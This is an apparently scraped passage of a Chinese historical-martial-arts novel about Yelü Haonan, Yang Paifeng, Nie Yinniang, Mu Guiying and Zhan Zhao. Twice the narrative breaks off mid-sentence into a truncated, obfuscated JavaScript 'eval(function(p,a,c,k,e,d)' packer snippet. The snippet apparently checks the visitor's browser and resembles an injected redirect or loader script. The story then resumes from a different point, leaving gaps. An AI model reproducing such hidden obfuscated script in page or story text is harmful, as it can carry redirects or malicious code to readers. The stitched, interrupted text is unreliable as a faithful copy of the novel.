萧太后静静地看着他,指尖停止拨动佛珠。殿内一时寂静,只有烛花偶尔爆开的轻微噼啪声。良久,她才缓缓靠回椅背,挥了挥手,语气恢复了平淡:“罢了,此事非你之过。且先退下,好生将养吧。女儿之事……再从长计议。” “臣,谢太后不罪之恩。”耶律皓南重重叩首,然后才缓缓起身,依旧垂首躬身,倒退着退出殿外。月光清冷,洒落在他挺直却仿佛带着无限疲惫的背影上,官袍后背处,一片深色的汗渍已然凝结,在月光下泛着冰冷的微光,如同悄然凝结的霜花。 待耶律皓南的身影彻底消失在宫道尽头,萧太后脸上那层雍容平和的面具才缓缓褪去。她并未立刻起身,而是对着烛火摇曳的阴影处,声音不高,却清晰冷冽:“传令南京枢密院,即日起,拨给国师府的驼峰炭,每旬供额减半。便说……今冬炭薪紧张,需匀给北院诸王公部分。” 驼峰炭,乃辽国贵族冬日专用的上等银炭,无烟耐烧,供给额度代表着恩宠与地位。这看似寻常的,基于“实际困难”的物资调配削减,实则是精妙而无声的政治信号——既不对“失女”之事明面追责,避免激化矛盾或显得朝廷对江湖势力束手无策,又悄然收紧了对国师府的“供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨排风走到耶律皓南身后,手指搭上他官袍的襟扣。动作是多年来养成的熟稔,指尖触及那冰冷光滑的锦缎和其下繁复的暗绣龙纹——那龙纹在烛光下幽幽反光,张牙舞爪,象征着无上的恩宠,亦是无形却沉重的枷锁。她为他解开一颗颗扣子,褪下这身象征权势与束缚的“皮囊”,官袍离肩时带起细微的风,拂动烛火,也拂过她沉静的眉眼。 她将官袍仔细挂在一旁的梨木衣架上,手指抚平袖口一处几乎看不见的褶皱,这才转过身,声音不高,平静得像是在问“今日天气如何”:“太后那边……今日这一关,算是暂且应付过去了?” 耶律皓南没有立刻回答。他坐在灯影里,抬手,用拇指和食指重重按揉着两侧太阳穴,指尖陷入皮肤,仿佛想将那里积聚的沉郁与算计都挤压出去。烛光从侧面打来,清晰映出他眉宇间深刻的褶皱,那不是一日之劳,而是长久如履薄冰、殚精竭虑刻下的痕迹,浓重如深秋覆于衰草上的寒霜,带着化不开的倦意。那倦意里,有今日殿前滴水不漏表演的心力消耗,更有对“应付”二字背后那漫长而无尽头的周旋的疲惫——今日是过去了,明日呢?后日呢?太后的猜忌如影随形,这一次是因“玉女门”这等不可抗力暂时搁置,下一次又会寻到什么由头? 杨排风已无需等他言语回答。他眉宇间的倦色,微微塌下的肩线,还有那片刻的沉默,已是最好的答案。她转身走到小几旁,拎起一直温在炭火上的陶壶,斟了半杯温度恰好的茶。茶水注入白瓷杯中的声音细碎轻柔,在这寂静的夜里格外清晰。她将茶盏递到他手边,他自然而然地接过,指尖相触,传递着彼此的温度。 “只要朔儿跟着凌霄子道长,望舒跟着聂隐娘,都能平安顺遂,” 她在他身侧的凳子上坐下,目光落在跃动的烛火上,语气依旧平淡,却带着一种千帆过尽后的透彻与坚韧,“这盛京……就算是座金子打造的牢笼,我们再多待上几年,又有何妨。” 她说的不是“忍受”,而是“待着”,仿佛这囚笼般的日子,不过是漫长人生中一段需要携手走过的特殊路途。儿女的安危,是他们此刻能抓住的、最重要的浮木,为此,一切皆可承受。 耶律皓南握着温热的茶杯,没有喝,另一只手却伸过去,轻轻握住了杨排风放在膝上的手。他的手因常年握笔,布阵,运功而指节分明,掌心有茧;她的手则因那些年颠沛流离、持棍操劳,掌心与指腹的茧子更厚,粗糙却温暖。他细细摩挲着她掌心那层硬茧,发现比起去年,似乎又厚了些许。这细微的变化,像一根小刺,轻轻扎在他心口。 他眼前忽然闪过十二年前那个风雨交加的山洞。火光摇曳,她脸上犹带泪痕,却毫不犹豫地“刺啦”一声撕下自己早已破烂的衣摆,手法生涩却异常专注地为他包扎伤口。那时她的手,虽也因在杨家做粗活而有薄茧,却远不似如今这般粗糙厚重。这些年,从山洞别后江湖的独自漂泊。到后来随他辗转,深入辽地,明里暗里的风波险阻,再到这盛京府邸中看似富贵实则步步惊心的日子……风霜雨雪,刀光剑影,都无声地刻进了这双手的纹理里。 “排风,”他开口,声音低沉沙哑,像被窗外寒冷的夜风浸透了,又像被胸中沉积多年的情绪压得喘不过气,“跟着我……让你受累了。”这句话在他喉间滚动过千百遍,从当年黎明前决然离开山洞的那一刻,到后来每一次得知她冒险的消息,再到如今在这异国宫廷的牢笼中相对无言……它像一块烧红的铁,烙在心上,此刻终于随着一声几不可闻的叹息,滚落出来。不是刻意的煽情,而是积年累月、深入骨髓的愧疚,在此刻卸下所有伪装与重担后,自然的流露。 杨排风的手在他掌心微微一动,没有抽走,反而反手将他的手握紧。她的指尖在他掌心那道熟悉的旧疤上轻轻划过——那是很多年前,二人在荒林被追兵冲散时,约定好的、表示“平安、勿念”的暗号动作。岁月流逝,暗号早已无需再用,但这细微的触碰,却瞬间将两人拉回到那些生死相依、仅靠彼此信任支撑的岁月。 “什么受累不受累的。”她抬眸看他,烛光在她清澈的眼底跳跃,那里没有幽怨,没有后悔,只有一片沉淀后的宁静与坚定,“富贵的牢笼也好,江湖的风雨也罢,你在何处,何处便是家。日子总是一样过。” 她语气平淡得像在陈述“明天会出太阳”这样的事实,却比任何海誓山盟都更具分量,那是历经风雨打磨后,对彼此,对这份感情最根本的确认。她顿了顿,指尖在他掌心又轻轻按了一下,带着一丝不容置疑的力度,“倒是你,心里别总绷着一根弦,把天大的事都自己扛着。如今这屋里,不就只剩我们两个了?” “只剩我们两个了”——这句话轻飘飘落下,却让耶律皓南心头一颤。是啊,朔儿被师叔带走,望舒被聂隐娘接去,这偌大国师府,白日里或许还有仆役往来,但到了这夜深人静之时,真正能彼此依靠、毫无保留面对的,不就只剩下他们两人了吗?一种混杂着凄凉与温暖的“相依为命”感,悄然弥漫开来。不再是当年带着各自使命、时有冲突的恋人,也不是后来聚少离多、彼此挂念的夫妻,而是真正被命运捆在一起,前路未卜,后背只能交给对方的共生者。 烛火“噼啪”一声,爆开一朵明亮的灯花。在那骤然亮起又缓缓暗下去的光晕里,耶律皓南深深凝视着她的眼睛。这双眼睛,他太熟悉了。曾含着泪光望他,盛满被抛下的伤心与不解;曾怒视他,燃烧着对他执迷复国不顾一切的愤懑;而此刻,这双眼睛清澈如深山古潭,平静无波,却清晰地映照出他全部的影子——映照出他前半生为那虚妄复国梦所困的偏执与挣扎,也映照出他此刻内心深处,对平凡安宁,家人团聚那份越来越清晰的渴望,以及这渴望与现实桎梏之间的尖锐矛盾。在她眼中,他无所遁形。 耶律皓南忽然站起身,走到窗边,“吱呀”一声推开了雕花木窗。冬夜凛冽的寒风瞬间灌入,吹得桌上烛火剧烈摇晃,室内光影乱舞,也吹散了些许沉闷的气息。盛京的夜空被厚重的云层笼罩,不见半点星光,只有无边无际的、沉甸甸的黑暗。远处,国师府高高翘起的檐角下,悬挂的铜铃被风扯动,发出零星而空洞的“叮当”声,回荡在寂静的夜里,恍如遥远寺庙中飘来的,超脱尘世的梵唱,更反衬出此间人世挣扎的无奈。 “当年在九龙谷摆下天门阵,自以为借天地之力,执掌百万大军生死,操控宋辽国运,便是谋略与力量的极致,足以掌控一切。”他望着那吞噬一切的沉沉夜色,声音渐渐凝实,不再是疲惫的低沉,而是透出一种冷硬的、如百炼精钢般的质感,“如今方知,在那等明刀明枪的沙场之上,纵有千难万险,至少知道敌人在何方。而在这朝堂的棋局里,想为身边人挣得一方小小的、安稳立足之地,每一步都如履薄冰,远比沙场布阵要难上千百倍。” 这难,在于敌人无处不在又无形无质,在于规则暧昧不明又随时可变,在于每一次“应付”都耗尽心力却不知能否换来片刻喘息。但他话语中透露出的,已不仅仅是疲惫与无奈,更有一股被逼到绝境后,从心底重新燃起的、更为冷静沉着的斗志。 杨排风没有接话,只是默默走到他身侧,肩头轻轻抵住他的手臂。没有亲密的依偎,只是一个安静的、支持的姿态。她不需要他详述计划,从他眼中重燃的那簇幽暗却坚定的火光里,从他语气里那熟悉的,一旦下定决心便九死不悔的决断里,她已经明白。这一次,他的决断不再是为了那遥不可及的北汉复国幻梦,而是为了他们这个在风雨飘摇中紧紧相依的小家,为了那两个暂时脱离虎口却前路未卜的孩子,也为了身边这个与他共担一切的女子。 夜风卷着她的发丝,拂过他的脸颊。他忽然开口,声音平静却带着破釜沉舟般的意味:“明日,我需再进宫一趟。太后那边……不能总这般被动应付。或许,该重新落几子了。” 杨排风闻言,只是极轻地点了一下头,目光依旧望着窗外浓得化不开的黑暗,声音轻而稳:“嗯。你只管去做。无论棋盘怎么变,我这颗棋子,总在你手边。” 没有豪言壮语,没有缠绵誓言。这一刻,他们仿佛又回到了当年荒林之中,被敌人围困,背靠着背,将最脆弱的后方交给彼此,目光灼灼地盯着前方未知的危险。又如同惊涛骇浪中同一艘小船上的旅人,无需多言,便知要同心协力,才能闯过眼前的激流险滩。烛光将两人并肩而立的身影投在身后的粉墙上,轮廓交融在一起,不分彼此,仿佛本就是一体。 夜深到了极致。那盏孤灯又“噼啪”爆出一朵格外明亮的灯花,在民间传说中,这预示着喜事或转机。杨排风拿起小银剪,轻轻剪去过长焦黑的烛芯,室内光线恢复了稳定柔和。跳动的灯花熄灭了,但一种更为沉静而坚韧的力量,却在夫妻二人无声的交流中悄然滋生。在这看似绝境、危机四伏的盛京棋局里,两颗紧紧相依的心,已然商定,要携手踏出一条新的生路。 23. 山水蒙,汴京街 柯寨演武场上,午后的山风骤然转急,卷起砂石枯叶,掠过青石地面。聂隐娘牵着五岁的刘望舒立在庭前石阶上,一袭玄色道袍在猎猎风中竟纹丝不动,连衣袂都未曾扬起半分,仿佛她与身畔的女童并非立于风中,而是嵌在了这片天地间,自成一方凝固的时空。 她目光如寒潭深水,不起波澜,却带着能洞穿金石般的锐利,静静地投向场中。那里,穆桂英正持枪而立,神情专注地指点着少年杨文广练习杨家枪的基本功——扎、刺、挞、抨、缠、圈、拦、拿,每一式都要求劲力、角度、步伐分毫不差。杨文广年纪虽小,却练得一丝不苟,枪尖破空,发出“呜呜”的沉闷风声,架势已颇得精髓,只是那动作间,难免带着少年人强求规范而生的些许僵滞。 聂隐娘看了片刻,眼中掠过一丝极淡的、几乎难以捕捉的不以为然,那并非针对少年勤勉,而是对这种一丝不苟到近乎刻板的训练方式的本能排斥。就在杨文广一记中平刺枪力道用老,新力未生之际,她广袖微不可察地一拂—— “咻——铛!” 一枚寻常松子,自她袖中激射而出,其速快逾劲弩,精准无比地击在杨文广手中白蜡杆枪身的“七寸”之处(枪身发力薄弱点)。少年只觉握枪的双手虎口如遭电亟,一股刁钻阴柔的劲道透杆而入,整条手臂瞬间酸麻,五指不由自主地松开。 “哐啷!” 长枪脱手,跌落于地,滚了两滚。 杨文广握着自己发麻的右手腕,愕然抬头,看向石阶上那玄衣道姑,眼中既有惊骇,更有不服。 “僵板至此,一触即溃,也配称杨家枪?”聂隐娘的声音响起,不高,却字字清晰,冷澈如昆仑山巅终年不化的冰雪,每个音节都仿佛裹着凛冽的寒气,穿透风声,砸在场中每一个人心头,“陈希夷自己便是个被道藏经义捆缚了手脚、食古不化的刻板老朽,教出的徒弟,果然是一脉相承的……木头疙瘩。” 穆桂英勃然变色。她可以忍受对自身武学的质疑,但绝不容许有人如此轻辱先师!右手瞬间按上腰间剑柄,一步踏前,周身气势陡然攀升,如即将出鞘的利剑,目光灼灼逼视聂隐娘:“聂前辈!我敬你是方外高人,武林耆宿,但请你——对先师放尊重些!” “尊重?”聂隐娘嗤笑一声,那笑声里没有温度,只有无尽的疏离与一种居高临下的漠然。她手中那柄看似普通的拂尘随意扬起,尘尾根根如铁笔直,遥遥指向穆桂英心口要害,虽未及身,却已让穆桂英感到一股无形无质却又锋锐无比的“意”牢牢锁定自己,仿佛随时能洞穿虚空,刺入胸膛。 “陈希夷那套循规蹈矩、按图索骥的迂腐教法,教出的全是失了灵性的木头桩子。”她语速依旧平缓,却字字诛心,如冰锥般扎下,“耶律皓南摆个阵法要讲究天地人三才齐备,阴阳五行一丝不乱,连入魔道都瞻前顾后,不够痛快彻底;而你穆桂英,守着一本不知何人修订的枪谱奉为圭臬,灵气全被那些条条框框磨灭殆尽!两个,都是失败之作。” 提及耶律皓南时,她冰封般的眼眸深处,几不可察地闪过一丝极其复杂的微光,那其中混杂着对“材质尚可却走入歧路”的深切鄙夷,对“明珠暗投、自缚手脚”的隐约惋惜,更有一丝“恨铁不成钢”的漠然锐利。这复杂神色一闪而逝,快得让人以为是错觉。 这番话,却如同最锋利的针,狠狠刺中了穆桂英心底最深处、连自己都不愿触碰的隐痛与迷茫。夫君杨宗保战死沙场的悲恸,天波府与杨门重担压于一身的沉重,这些年独自支撑的艰辛……种种情绪轰然涌上,化作被触及逆鳞的愤怒与委屈。她声音因极力压抑而微微发颤:“你……你懂什么!宗保殉国,杨家满门忠烈,重担落于我一人之肩,我岂能……岂能如年少时那般随心所欲,行差踏错半步?! “杨宗保殉国宋夏之战,是为将者本分,与你的武道何干?”聂隐娘毫不留情地打断,语气中带着一种洞察世情、直指本质的冰冷嘲讽,“你是把自己困在了‘未亡人’、‘杨门柱石’这些世俗枷锁里,画地为牢!连手中枪都失了魂魄灵性,变成一杆死物!这才是真正对不起杨家将门威名,对不起你手中这杆枪!” 她向前踏出一步,明明步伐不大,却仿佛瞬间拉近了与穆桂英之间所有的距离,那股无形的压迫感骤增。她的目光如最冷的刀锋,剐过穆桂英全身,仿佛要将她那些隐藏在刚强外表下的软弱、固执、恐惧尽数剥离出来,曝于光天化日之下。 “再看你那好师兄耶律皓南,心心念念复国,执念入骨,看似决绝疯狂,实则内心被所谓‘责任’、‘道统’、‘胜负’捆得比你还紧,比你还要不堪!“你们这对师兄妹,一个被‘忠孝’所困,一个被‘执念’所缚,倒是把陈希夷那套‘清心寡欲’、‘克己复礼’的迁腐道理,学了个十成十,真是他教出来的‘好榜样’!” 每一个字,都像重锤,狠狠砸在穆桂英的心防之上。她握枪的手指因用力而骨节发白,胸膛剧烈起伏,想要反驳,想要斥其胡言,可话到嘴边,却发现自己竟无言以对。这些年来,她确实感到枪法进境迟缓,甚至偶有滞涩,总以为是年纪渐长,俗务缠身之故,或是自己天赋已尽。如今被聂隐娘这毫不留情的冷水泼面,她才骤然惊觉,那困住她枪尖的,或许并非岁月与琐事,而是她自己日渐沉重,不敢稍有行差踏错的心。 见穆桂英眼神震动,脸色变幻,显然心神已受巨大冲击,聂隐娘冰冷的语气稍缓,却更凸显出她那份超然物外、挑剔到极致的眼力与标准:“陈希夷临终前,把华山道统、那点可怜的家底,传给了耶律皓南,而非你。知道为何吗?” 她不等穆桂英回答,也无需她回答,目光锐利如能切开一切迷障的慧剑,直刺穆桂英眼底: “因为他那徒弟虽然蠢笨、古板、认死理,但至少……还敢硬着头皮,不管不顾地去逆那天,改那命!哪怕撞得头破血流,走入魔道!而你穆桂英,” 她微微摇头,带着一种近乎残忍的直白,“连教自己亲生儿子练枪,都要按着那本破枪谱,一寸一寸地比划,生怕教错半点,坏了他‘正统’的根基!你连自己都信不过,还谈什么传承?谈什么超越?” 话音未落,她已扯了扯手中一直安静的女童刘望舒,语气转为一种不容置疑、亦无需向任何人解释的决断:“幸好,这小丫头没全被她爹和她那师门教坏,灵光未泯。从今日起,她是我玉女门入室弟子。十八年后,让她以玉女门传人的身份,来破你们华山派全盛时期布下的‘天门阵’——” 她顿了顿,最后瞥了一眼脸色苍白、怔立当场的穆桂英,留下石破天惊的一句: “——让你亲眼看看,什么才是真正的‘因材施教’,什么才是挣脱一切枷锁,只问本心的‘道’!” “道”字尾音尚在风中飘散,那袭玄衣已携着红衣女童,化作一道淡淡的青影,仿佛融入了骤起的山风与林涛之中,瞬息间便消失于演武场外的莽莽密林,无迹可寻。只余下松涛阵阵,如嘲似讽,更添空寂。 远处,似乎随风飘来一句若有似无的低语,淡漠依旧,却隐约藏着一丝难以言喻的兴味:“汴京开封府那个倔小子展昭,上次输给我半招……也该去讨回来了……” 穆桂英独立于骤然猛烈起来的山风之中,耳畔隆隆作响,尽是聂隐娘那些毫不留情、剥皮见骨的诛心之言。这些话刺耳至极,将她半生坚守的信念、引以为傲的传承、乃至内心深处的恐惧与迷茫,统统血淋淋地剖开。然而,在这极致的刺痛与难堪之下,却仿佛有一道惊雷,劈开了她脑海中沉积多年的厚重迷障! “哗——!” 酝酿已久的山雨终于沛然而下,豆大的雨点密集砸落,瞬间打湿了她的头发、脸颊、衣衫。穆桂英却恍若未觉,任凭冰凉的雨水顺着额发流淌,浸入眼中,模糊了视线。她缓缓地、极其缓慢地,弯下腰,拾起地上那杆被松子击落的长枪。 湿滑的枪杆入手,触感冰凉。就在她握紧枪杆的刹那,手腕似乎不受控制地、极其细微地一抖—— “嗤!” 一道与杨家枪任何规范招式都截然不同的、带着野性、刁钻、甚至几分年少轻狂时自创的弧线,自枪尖迸发而出,划破雨幕!这一招,当年初出穆柯寨、天不怕地不怕的她用得最多,却曾被师尊陈希夷点评“奇巧过甚,失之沉稳,非正道”。 雨越下越大,天地间白茫茫一片。远处的杨文广早已躲到廊下,此刻却瞪大眼睛,惊讶万分地看着雨中那道熟悉又陌生的身影——母亲的枪法,变了!不再是一板一眼、规整肃穆的杨家枪,而是变得……陌生、灵动、甚至带着一丝狂放不羁!仿佛沉睡多年的魂魄,骤然苏醒! 数日后,雨过天晴。柯寨练武场边缘,悄然多了一块新立的栎木牌子,木质新鲜,显然新斫不久。上面以铁画银钩的笔法,刻着八个大字:“法无定法,式无定式”。 杨文广发现,母亲不再严格要求他每一式都必须与枪谱图谱分毫不差。她开始仔细询问他发力时的感受,引导他根据自己正在快速生长的体型、力量特点,去调整、尝试,甚至在某些招式的衔接变化上,鼓励他提出自己的想法,母子二人时而切磋,时而争论,竟渐渐创出几招更适合他目前身高臂展的独特变招。练武场上,多了思考与创造的气息,少了许多刻板的呵斥。 而此时的聂隐娘,已带着小望舒,行走在远离河东、通往汴京的官道之上。女童安静地跟着,不哭不闹,只是偶尔好奇地打量四周。聂隐娘目视前方,山风拂动她玄色的衣袂,依旧纤尘不染。她望向南方汴京的方向,冰封般的眼底深处,极快地掠过一丝几不可察的、近乎期待的微光—— 展昭,那个当初倔强地叛出师门、选择了一条截然不同的道路,却又在红尘俗世、公门法度中硬生生走出自己“道”的徒弟,如今在那开封府的青石板路上,是否又有了新的领悟?她此去,并非只为“讨回半招”,更是要亲眼看看,那棵她当年未曾彻底修剪、任其旁逸斜出的“树木”,如今已长成了何等模样。 灯火如昼的汴京御街,人潮涌动,喧嚣如沸。一道青影,却如分水的墨线,悄然划过这片绚烂。 聂隐娘牵着小徒弟刘望舒,缓步走过喧嚷的街心。女童不过五岁,一手紧握着晶莹剔透的蟠桃糖人,一双清澈明眸好奇地左顾右盼,倒映着满城流光溢彩。牵着她的人,一袭玄色道袍,襟口袖缘以金线暗绣北斗七星纹路,那金线乃南海鲛绡捻合西域百年金蚕丝,再由玉女门秘法炼制,一针一线所耗,足以抵寻常百姓数载嚼用。 “师傅!” 一声压抑着激动与难以置信的低唤,自身后传来。展昭疾掠而至,蓝色公服下摆还沾着开封府衙特有的尘灰气息。他站定,毫不犹豫躬身行弟子礼。然而礼未行毕,聂隐娘的拂尘已如电般扫过他递出的手腕脉门。 触之即收。聂隐娘冰封般的脸上没有丝毫暖意,眼眸里凝起更深的寒霜。 “内力滞涩近三成,真气流转如老牛破车。步法沉浊虚浮,似负千钧枷锁。”她声线比汴河腊月冰水还要寒上三分,“御猫大人这身官袍穿着可还舒坦?可是近日又忙着替赵官家跑腿,办些‘忠君爱国’的差事,连晨起吐纳、温养剑心的功课都荒废了?” 展昭维持躬身姿势,嘴角泛起复杂苦笑:“师傅明鉴,弟子不敢荒废功课。只是近日陈州粮草案牵涉甚广……” “陈州?”聂隐娘冷笑打断,指尖一弹,女童手中糖人顶端的蟠桃尖儿倏地化作一道三寸长短、晶莹剔透的虚幻剑形光影,隐有清越剑鸣余韵。她语气讽刺几乎溢出:“你可知那陈州知府王逵,去年曾遣人抬着三箱南海明珠,跪上玉女峰,只求换一枚延年益寿的‘青华丹’?此等蛀虫硕鼠,也值得你堂堂‘御猫’、我聂隐娘的徒弟,耗费心神熬干气血去查办?” 她不再看展昭,将身侧女童轻轻往前一推。小望舒眨了眨明亮大眼,嘻嘻一笑,竟真的将手中糖人倒转,以黏糊糊的糖柄为剑,歪歪扭扭却又神韵初具地挽出半个清灵缥缈的剑花——正是玉女门入门剑法“照影惊鸿”的起手式“惊鸿一瞥”!那份灵动的意韵、剑势引而不发的雏形,已隐隐透出与天地清气交感的气息。 “瞧见没?”聂隐娘微微挑眉,目光扫过面露惊愕的展昭,语气中那份毫不掩饰的骄傲几乎压过冰冷表象,“你这位小师妹,随我不过三日,剑气已通灵犀。比你在开封府被那些案牍公文、君臣礼法泡软了骨头、磨钝了剑心的模样,强出何止百倍!” 展昭目光复杂地掠过小师妹眉心那点天生瑶光痣,心中震动。他深吸一口气,上前一步,声音压低带着恳切:“师傅……弟子与小蝶已成婚数载,育有一子一女。今日既相遇,可否请师傅移驾寒舍一聚?也让孩子们拜见师祖。” 展昭在汴京的宅院位于城西僻静处,门庭朴素,与庞小蝶昔日贵妃身份、展昭如今御前四品带刀护卫的职衔皆不相称,显是刻意低调。院中,庞小蝶正就着廊下风灯,耐心教导一双年幼儿女诵读《千字文》。女子容颜清丽,眉宇间洗尽铅华,只余相夫教子的温婉宁静。忽然,她似有所感,抬头望去—— 月门处,那道深刻入骨、梦魂萦绕的玄色身影,静立如渊。 “啪嗒。” 《千字文》卷册无力滑落在地。庞小蝶浑身剧震,脸色瞬间苍白,嘴唇哆嗦:“师、师傅……”那双曾执掌宫闱、也曾拈针绣花的手冰凉颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两道温润白光划过夜色,精准落入展昭与庞小蝶手中。入手微沉冰凉,竟是两枚半月形白玉珏,玉质纯净无瑕,内部仿佛有活水流转。玉珏内侧以细如发丝,巧夺天工技艺,阴刻微缩北斗七星图,星位精准,隐隐有灵光暗蕴。 “此物名‘同心珏’,取自昆仑山巅万丈冰髓深处,经地心真火与九天雷煞交替淬炼百年方成。”聂隐娘语气依旧没什么温度,却罕见多了几分解释意味,“你二人分佩左右,贴身收藏。若遇性命攸关、或无法解决之大难,捏碎此玉,千里万里,我亦能心生感应。” 她顿了顿,目光在庞小蝶泪水涟涟的脸上停留一瞬,忽然伸出手——那动作甚至称得上粗粝,带着习武之人力道,揉了揉庞小蝶早已不是少女的发顶。就像二十多年前,在玉女峰风雪坪上,那个严厉的师尊,偶尔也会用这种方式,安慰练剑受挫、偷偷哭泣的小徒弟。 “蠢货。”她吐出两个字,声音却罕见地软了微不可察的一丝,“当年在云雾山,你戴着人皮面具,伪装成‘忠烈之后’接近为师,不过十日便被识破。我若真是那等古板迂腐、恪守所谓‘官民不通婚’、‘妃嫔不得出宫’蠢规矩的老顽固,早在识破你庞太师府千金、当朝准贵妃身份的那一刻,就该一剑清理门户,岂会容你学去玉女门剑法真传?又可曾对你说过半句‘玉女门弟子不得与朝廷中人、尤其是天家后宫有染’的混账门规?!” 最后这句话,如同最后一根击碎心防的稻草。庞小蝶浑身剧颤,一直强忍的呜咽终于冲破喉咙,她再也顾不得什么礼仪姿态,猛地向前一扑,紧紧抱住聂隐娘僵硬的身子,将脸深深埋进那冰冷、带着淡淡昆仑雪松气息的玄色道袍中,放声痛哭。那哭声里,有多年深宫禁锢的委屈,有对命运的恐惧与不甘,有对师尊的思念与愧疚,更有此刻终于得以宣泄、终于被最在意之人理解的巨大释然。 聂隐娘身体依旧挺直,任由她抱着,没有回应,也没有推开。只是那冷若冰霜的眉眼,在无人看见的角度,几不可察地柔和了那么一瞬。 临别时,聂隐娘目光掠过院中那个正扎着马步、虽然摇摇晃晃却一脸认真的小男孩。随手自袖中弹出一粒龙眼大小、异香扑鼻的朱红丹药。丹药在空中划过弧线,准确落入男孩因惊讶而张开的嘴里,入口即化,男孩周身顿时泛起一层淡淡健康的金红光泽。 “九转固元丹,给你家小子的见面礼。筑基固本,勉可一用。”她语气平淡,仿佛给出的不是武林中人梦寐以求、能奠定无上武学根基的圣药。 行至月门口,她忽回身,目光如电锁住垂手恭送的展昭:“御猫大人。” 展昭心头一凛,连忙躬身:“弟子在。”“公务再忙,案牍再劳形,也需记得,你首先是个武者,是我聂隐娘的徒弟。”她语气骤寒,带着不容置疑警告,“下次若再让为师发现,你的‘灵猿步’退步到连三流蟊贼都追不上——” 她顿了顿,一字一句道,“便罚你倒吊在开封府正堂匾额上,扎满三个时辰马步!听清楚了?”“弟子谨遵师命。”展昭与已拭去泪水、眼眶微红的庞小蝶相视一眼,均在对方眼中看到如释重负的笑意与深切感动。二人齐齐躬身,声音恭敬诚挚:“恭送师傅。”玄色青影如来时一般,悄无声息融入汴京繁华夜色。只余下院中淡淡药香,和那对在月光下流转温润光泽的白玉珏。长街尽头,聂隐娘低头看向怀中因夜深昏昏欲睡、仍下意识握紧糖人残柄的小女童。小望舒在她怀中寻个舒服姿势,咂了咂嘴,糖人甜香混合孩童干净奶香气萦绕鼻端。聂隐娘冰封唇角,几不可察地向上弯起一个细微到几乎无法捕捉的弧度。夜风拂过,吹起她鬓边一缕与玄衣几乎融为一体的白发——那是四十年前,独闯西域魔教总坛,为夺回师门失落至宝“璇玑图”,力战七大长老留下的痕迹。如今,她袖中随便一件不起眼物事,或许都抵得过赵宋皇宫半座库藏价值。可她从未在意。“小丫头。”她低头,对着女童沉睡侧脸,用几不可闻声音似是自语又似教诲,“记住,玉女峰的剑,宁折不弯,从不为皇权折腰,亦不向命运低头。宁在江湖称孤,不入宫门为奴。”女童在梦中无意识地蹭了蹭她衣襟,仿佛应和。而遥远的海外仙山深处,玉女峰巅千年积雪,正映照同一轮清冷孤月,静静等待着它的新主人归来。 三日后,夜,展昭宅邸书房。展昭解下沾染烟火尘埃的蓝色公服,一枚温润白玉珏自怀中滑出,落在书案上,在烛火下流转静谧内蕴光华。隔壁厢房,庞小蝶正为熟睡一双儿女轻轻掖好被角,腕间另一枚白玉珏随动作,与展昭那枚隔着墙壁,仿佛生出无形感应,发出只有彼此心神相连方能感知的、清越悠扬微微共鸣。 窗外,汴京城夜色依旧深沉漫长。但有些无形枷锁,已然在那一夜,被一柄冰冷拂尘,一句淬火责骂,和两枚温润玉珏,轻轻击碎。 24. 雷水解卦,辞官归去 辽国皇宫正殿,夤夜时分。高悬的鎏金蟠枝灯树吐着明灭不定的光,将殿中雕梁画栋的阴影切割得支离破碎,投在光可鉴人的金砖地上,随穿堂而过的夜风摇曳不定,恍如鬼影幢幢。 耶律皓南伏地行着叩拜大礼,姿态恭谨至极,额头紧贴冰冷刺骨的金砖。他身上所着,正是辽国南面官制中,正三品以上文官的正式朝服——一袭绯红色(或谓朱红色)圆领窄袖罗袍。此色在唐制为三品以上高官服色,辽承唐制,用以昭示其位高权重。然而,此刻这袭绯袍在昏黄摇曳的烛火下,红得沉黯失泽,不复往日的鲜亮夺目,下摆如一道褪色陈旧的凝血,迤逦铺展于御座之前。细看之下,袍服虽整洁,但材质已非顶级的厚实暗花绫罗,而是略显单薄的寻常绸缎;原本应以捻金线精细绣制的领缘、袖口、裾襴处的卷草纹或云鹤纹,如今金线黯淡稀疏,甚至偶有断续,只余下模糊的痕迹;腰间所束的革带虽形制仍在,但带銙(带板)失去了往年玉石的温润或金银的耀目,显得朴素暗淡。这身装扮,礼仪规制法度分毫不差,足以觐见,却处处透着一股“勉强维持体面”的清寒与刻意,与他两年前意气风发,服饰鲜洁璀璨地出入此殿参与机密的景象,已是云泥之别。 御座之上,年届而立的辽圣宗耶律宗真端坐如松,面容沉静如水,指尖无意识地、缓缓摩挲着龙椅扶手上那栩栩如生、触手生凉的蟠龙雕纹,目光低垂,落在殿下那抹刺眼却又透着刻意衰败的绯红上。那目光,锐利如草原鹰隼审视爪下已无威胁的猎物,带着冰冷的评估,更有一丝不易察觉的、终于能将麻烦稳妥打发掉的漠然。 珠帘之后,萧太后的身影朦胧不清,唯闻腕间那串蜜蜡佛珠被徐徐捻动时,珠子相叩发出的、规律到近乎刻板的“嗒、嗒”轻响,一下下敲在死寂的殿宇中,仿佛在为某种进程无声计时。 “臣才疏学浅,近年来越发深感力不从心,于国事少有裨益,实愧对陛下、太后昔日信重之恩。”耶律皓南的声音响起,沉痛而恳切,每个字都像是放在舌根反复研磨、确保分寸火候无误后才缓缓吐出,“反观韩德让韩大人,总理枢务,政通人和,深得陛下与太后信重,百官膺服,实乃国之大幸,臣……心服口服。” 